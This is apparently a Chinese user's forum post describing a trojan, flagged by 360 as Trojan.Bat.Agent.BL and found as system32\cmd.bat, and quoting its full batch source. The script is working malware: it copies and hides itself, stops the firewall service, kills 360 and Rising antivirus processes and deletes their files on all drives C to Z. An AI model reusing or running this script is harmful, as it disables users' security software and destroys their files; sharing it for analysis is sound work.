微点没有任何提示的情况下, 系统有些反应不大正常(比如开机是速度慢等)又打开360来扫描了一下,又发现了Dropped:Trojan.Bat.Agent.BL
它存在于windows\system32\文件夹中,文件名为cmd.bat(不知道是不是借cmd.exe来伪装), 因为是bat文件可以用记事本打开来看,其内容如下:
@echo off
set s=TASKKILL
copy %0 %windir%\system32\cmd.bat
attrib %windir%\system32\cmd.bat +r +s +h
net stop sharedaccess >nul
%s% /im 360* /f >nul
%s% /im RStray /f >nul
net stop Shadow" "System" "Service
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul
for %%a in (c %alldrive%) do del %%a:\RStray* /f /s /q >nul
